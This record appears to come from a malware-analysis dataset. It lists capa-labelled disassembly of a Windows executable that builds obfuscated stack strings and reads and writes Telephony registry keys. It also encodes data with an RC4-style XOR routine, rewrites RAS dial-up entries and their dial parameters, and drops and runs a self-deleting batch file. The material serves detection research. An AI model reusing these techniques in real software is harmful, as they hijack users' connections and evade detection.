joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4032ed
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov esi, dword [ebp + 8]
and byte [esi], 0
test eax, eax
jne 0x40331d
push esi
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
dec eax
neg eax
sbb al, al
inc al
jmp 0x403340
push 0x4095b0
push str.WINDIR
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
push str._s_sys_s32
push esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov al, 1
pop esi
leave
ret

Function at 0x40338d
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
lea eax, [ebp - 0x1c]
push 0x4095e0
push eax
call sub.MSVCRT.dll_strcpy
and byte [ebp - 0xd], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x80]
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push eax
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x67
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x61
mov byte [ebp - 0x16], 0x6d
mov byte [ebp - 0x15], 0x46
mov byte [ebp - 0x14], 0x69
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x72
mov dword [ebp - 8], 0x104
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x80]
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403446
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403446
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x4036a2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov ax, word [0x409a20]
push esi
push edi
mov word [ebp - 0x470], ax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x46e]
push 0x409630
rep stosd dword es:[edi], eax
push str.Tele
push 0x4093c8
push 0x4093c4
push str.SOFT
stosw word es:[edi], ax
push 0x4093b8
lea eax, [ebp - 0x70]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_s
push eax
mov dword [ebp - 8], 0x3ff
xor esi, esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x70]
push esi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403753
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x470]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x403759
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x409630
push str.Tele
push 0x4093c8
push 0x4093c4
push str.SOFT
push 0x4093b8
lea eax, [ebp - 0x74]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_s
push eax
call esi
add esp, 0x20
xor edi, edi
lea eax, [ebp - 4]
push edi
push eax
push edi
push 0x20006
push edi
push edi
lea eax, [ebp - 0x74]
push edi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4037f1
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push 0x409634
push eax
call esi
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push edi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x4037f3
xor al, al
pop edi
pop esi
leave
ret

Function at 0x4037f7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov esi, 0x101
xor edi, edi
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x208]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
xor eax, eax
dec esi
mov byte [ebp + eax - 0x104], al
inc eax
cmp eax, esi
jb 0x40382c
xor eax, eax
cmp dword [ebp + 0x14], edi
je 0x4038ff
xor ecx, ecx
cmp eax, dword [ebp + 0x14]
jne 0x40384c
xor eax, eax
mov edx, dword [ebp + 0x10]
mov dl, byte [eax + edx]
inc eax
mov byte [ebp + ecx - 0x208], dl
inc ecx
cmp ecx, esi
jb 0x403845
mov dword [ebp + 0x14], edi
mov eax, 0xff
mov dl, byte [ebp + edi - 0x104]
mov ebx, dword [ebp + 0x14]
mov cl, byte [ebp + edi - 0x208]
lea esi, [ebp + edi - 0x104]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov dword [ebp + 0x14], ecx
cmp edi, 0x100
mov bl, byte [ebp + ecx - 0x104]
lea ecx, [ebp + ecx - 0x104]
mov byte [esi], bl
mov byte [ecx], dl
jb 0x403867
xor edi, edi
cmp dword [ebp + 0xc], edi
mov dword [ebp + 0x14], edi
mov dword [ebp + 0x10], edi
jbe 0x4038ff
inc edi
and edi, eax
mov dl, byte [ebp + edi - 0x104]
lea ecx, [ebp + edi - 0x104]
mov bl, dl
add ebx, dword [ebp + 0x14]
and ebx, eax
mov esi, ebx
mov bl, byte [ebp + esi - 0x104]
mov dword [ebp + 0x14], esi
mov byte [ecx], bl
lea esi, [ebp + esi - 0x104]
mov ebx, dword [ebp + 0x10]
mov byte [esi], dl
mov cl, byte [ecx]
mov esi, dword [ebp + 8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, byte [ebp + ecx - 0x104]
xor byte [esi], cl
inc ebx
cmp ebx, dword [ebp + 0xc]
mov dword [ebp + 0x10], ebx
jb 0x4038b0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403b08
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa980
call fcn.00405f40
push esi
push edi
mov esi, 0x409668
lea edi, [ebp - 0x10]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0xd]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0xe]
push eax
call fcn.00403915
lea eax, [ebp - 0xc]
push eax
call fcn.00403926
lea eax, [ebp - 0xa]
push eax
call fcn.00403948
lea eax, [ebp - 8]
push eax
call fcn.00403959
lea eax, [ebp - 6]
push eax
call fcn.00403937
lea eax, [ebp - 4]
push eax
call fcn.00403904
add esp, 0x18
push 0x40955c
push 0x409558
push 0x409554
push str.WINDIR
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea eax, [ebp - 0x188]
push str._sK_s_s22_s.log
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x188]
push 0x409664
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 0x20
test esi, esi
je 0x403bdb
push esi
lea eax, [ebp - 0xa980]
push 0xa7f8
push eax
call dword [sym.imp.MSVCRT.dll_fgets]
add esp, 0xc
test eax, eax
push esi
jne 0x403bd4
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
jmp 0x403c75
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
lea eax, [ebp - 0xa980]
push eax
call sub.MSVCRT.dll_strlen
push dword [ebp + 8]
lea eax, [ebp + eax - 0xa980]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0xa980]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004041be
mov esi, eax
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push dword [ebp + 8]
call fcn.004037f7
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x54]
push eax
push 0x40965c
push dword [ebp + 8]
call fcn.0040396a
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x40
mov esi, eax
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esi, 0x278d00
pop ecx
cmp esi, eax
jge 0x403c79
push 4
lea eax, [ebp + 8]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
jmp 0x403c7c
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x403c80
Capabilities:
Create process on windows
Resume thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x750
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push 0x8000080
push 2
push ebx
push ebx
mov esi, str.DelUS.bat
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x403ded
mov edi, 0x104
lea eax, [ebp - 0x264]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x160]
push edi
push eax
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x368]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x368]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll__mbsrchr]
mov byte [eax], bl
lea eax, [ebp - 0x160]
push esi
push eax
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x750]
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
add esp, 0x20
test eax, eax
jbe 0x403d44
push dword [ebp + 8]
lea eax, [ebp - 0x750]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [ebp - 0x750]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x750]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push 0x44
lea eax, [ebp - 0x5c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x30], 1
mov word [ebp - 0x2c], bx
push 0x44
pop eax
push ecx
lea ecx, [ebp - 0x5c]
push ecx
push 0x409300
push ebx
push eax
push ebx
push ebx
push ebx
push esi
push ebx
mov dword [ebp - 0x5c], eax
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x403ded
mov esi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push 0xfffffffffffffff1
push dword [ebp - 0x10]
call esi
push 0xf
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call esi
push 0x80
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push dword [ebp - 0x14]
call edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push dword [ebp - 0x10]
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403fa4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
push 0x4097a8
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push 0x4097a4
push str.Tele
push 0x4093c8
push 0x4093c4
push str.SOFT
push 0x4093b8
lea eax, [ebp - 0x74]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_se_sings_
push eax
call esi
add esp, 0x24
xor edi, edi
lea eax, [ebp - 4]
push edi
push eax
push edi
push 0x20006
push edi
push edi
lea eax, [ebp - 0x74]
push edi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x404041
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push 0x409634
push eax
call esi
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x10
push eax
lea eax, [ebp - 0x10]
push eax
push 1
push edi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x404043
xor al, al
pop edi
pop esi
leave
ret

Function at 0x404047
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
push 0x4097a8
push 0x4097a4
push str.Tele
push 0x4093c8
push 0x4093c4
push str.SOFT
push 0x4093b8
lea eax, [ebp - 0x68]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_se_sings_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0x20006
push esi
push esi
lea eax, [ebp - 0x68]
push esi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4040cf
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
push 1
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x4040d1
xor al, al
pop esi
leave
ret
Function at 0x4040d4
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
mov ax, word [0x409a20]
push ebx
push esi
push edi
push pe_nt_image_headers32
mov word [ebp - 0x22c], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x22a]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push esi
push 2
mov edi, eax
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40411c
xor eax, eax
jmp 0x4041b9
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
jne 0x40413b
xor esi, esi
jmp 0x4041b0
cmp dword [ebp - 0x120], edi
je 0x404156
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x40416b
jmp 0x40413b
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x22c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp byte [ebp - 0x22c], 0
je 0x4041b0
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x404137
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x40419f
inc esi
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x404185
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404b61
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, 0x406644
call sub.MSVCRT.dll__EH_prolog
sub esp, 0xb9c
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.RasValidateEntryNameA
push dword [edi + 0x1c7c]
xor ebx, ebx
mov dword [ebp - 4], ebx
call esi
push str.RasGetEntryPropertiesA
push dword [edi + 0x1c7c]
call esi
push str.RasGetEntryDialParamsA
mov dword [ebp - 0x14], eax
push dword [edi + 0x1c7c]
call esi
push str.RasSetEntryPropertiesA
mov dword [ebp - 0x18], eax
push dword [edi + 0x1c7c]
call esi
push str.RasSetEntryDialParamsA
mov dword [ebp - 0x1c], eax
push dword [edi + 0x1c7c]
call esi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0xa4]
push ebx
push eax
lea eax, [ebp - 0x10]
mov esi, 0x6e8
push eax
lea eax, [ebp - 0xba8]
push eax
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
mov dword [ebp - 0xba8], esi
push ebx
call dword [ebp - 0x14]
cmp eax, ebx
je 0x404c6c
mov edi, 0x788
mov eax, 0xb44
cmp dword [ebp - 0xba8], eax
jne 0x404c28
push eax
lea eax, [ebp - 0xba8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xba8], edi
mov dword [ebp - 0x10], edi
jmp 0x404c4e
cmp dword [ebp - 0xba8], edi
jne 0x404d59
push edi
lea eax, [ebp - 0xba8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xba8], esi
mov dword [ebp - 0x10], esi
lea eax, [ebp - 0xa4]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xba8]
push eax
push dword [ebp + 8]
push ebx
call dword [ebp - 0x14]
cmp eax, ebx
jne 0x404bff
mov esi, 0x41c
lea eax, [ebp - 0x4c0]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4c0], esi
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x14
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x4c0]
push eax
push ebx
call dword [ebp - 0x18]
cmp eax, ebx
je 0x404cd3
cmp dword [ebp - 0x4c0], 0x424
jne 0x404d59
lea eax, [ebp - 0x20]
mov dword [ebp - 0x4c0], esi
push eax
lea eax, [ebp - 0x4c0]
push eax
push ebx
call dword [ebp - 0x18]
test eax, eax
jne 0x404caa
push dword [ebp + 0x10]
lea eax, [ebp - 0xb8d]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0xc]
lea eax, [ebp - 0xb98]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
lea eax, [ebp - 0xa4]
push 0x80
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0xba8]
push eax
push dword [ebp + 8]
push ebx
call dword [ebp - 0x1c]
cmp eax, ebx
jne 0x404d59
lea eax, [ebp - 0x3bb]
push 0x409a20
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x14]
lea eax, [ebp - 0x2b9]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 0x18]
lea eax, [ebp - 0xb7]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x18
lea eax, [ebp - 0x4c0]
push ebx
push eax
push ebx
call dword [ebp - 0x24]
cmp eax, ebx
jne 0x404d59
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x14
Function at 0x404dc9
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7e2c
call fcn.00405f40
push ebx
push edi
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
lea eax, [ebp - 0x7e2c]
push eax
call fcn.00403b08
add esp, 0xc
test eax, eax
jne 0x404e04
call fcn.00405660
jmp 0x404ff4
mov ax, word [0x40918c]
lea edi, [ebp - 0x3a]
mov word [ebp - 0x3c], ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x409188]
lea edi, [ebp - 0x26]
mov word [ebp - 0x28], ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x14
stosd dword es:[edi], eax
pop ebx
stosw word es:[edi], ax
push 1
lea eax, [ebp - 0x28]
pop edi
mov dword [ebp - 0xc], ebx
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 8], edi
push dword [ebp + 8]
call fcn.00403571
add esp, 0x14
test al, al
je 0x404ff4
lea eax, [ebp + 8]
push esi
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x7e2c]
push str.country
push eax
call fcn.0040396a
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x7e2c]
push str.connections
push eax
call fcn.0040396a
mov esi, dword [sym.imp.MSVCRT.dll_atoi]
lea eax, [ebp - 0xc8]
push eax
call esi
mov dword [ebp - 0x14], eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x7e2c]
push str.houers
push eax
call fcn.0040396a
add esp, 0x4c
lea eax, [ebp - 0xc8]
push eax
call esi
mov dword [ebp - 0x10], eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x7e2c]
push str.minutes
push eax
call fcn.0040396a
lea eax, [ebp - 0xc8]
push eax
call esi
mov esi, eax
call dword [sym.imp.MSVCRT.dll_rand]
cdq
idiv ebx
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x7e2c]
push 0x409140
push eax
lea esi, [esi + edx - 0xa]
call fcn.0040396a
add esp, 0x38
cmp eax, edi
jne 0x404f65
mov dword [ebp - 8], 2
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x7e2c]
push 0x40913c
push eax
call fcn.0040396a
add esp, 0x18
cmp eax, edi
jne 0x404f9a
mov dword [ebp - 8], 3
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x7e2c]
push 0x409138
push eax
call fcn.0040396a
add esp, 0x18
cmp eax, edi
jne 0x404fcf
mov dword [ebp - 8], 4
push dword [ebp - 8]
lea eax, [ebp - 0x64]
push esi
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x50]
push dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x7e2c]
push eax
call fcn.00404ff8
add esp, 0x20
pop esi
pop edi
pop ebx
leave
ret
Function at 0x4052bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov ax, word [0x409a20]
push esi
push edi
mov word [ebp - 0x470], ax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x46e]
push 0x4097a8
rep stosd dword es:[edi], eax
push 0x4097a4
push str.Tele
push 0x4093c8
push 0x4093c4
stosw word es:[edi], ax
push str.SOFT
push 0x4093b8
lea eax, [ebp - 0x70]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_se_sings_
push eax
mov dword [ebp - 8], 0x3ff
xor esi, esi
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x70]
push esi
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405375
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x470]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x40537b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
mov ax, word [0x409a20]
push edi
mov word [ebp - 0x470], ax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x46e]
rep stosd dword es:[edi], eax
push 0x4097a8
push 0x4097a4
push str.Tele
push 0x4093c8
push 0x4093c4
push str.SOFT
stosw word es:[edi], ax
push 0x4093b8
lea eax, [ebp - 0x70]
push str.SOFTWAR_sICRO_sWINDOWSC_sENT_sSION_sphon_se_sings_
push eax
mov dword [ebp - 8], 0x3ff
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x24
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x70]
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x405436
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x470]
push eax
push dword [ebp + 0xc]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
leave
ret
xor al, al
leave
ret

Function at 0x40543a
Capabilities:
Delete registry value

Disassembly:
mov eax, 0x40666c
call sub.MSVCRT.dll__EH_prolog
push ecx
lea ecx, [ebp - 0x10]
xor eax, eax
push ecx
push 0xf003f
push eax
mov dword [ebp - 4], eax
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov al, 1
mov dword fs:[0], ecx
leave
ret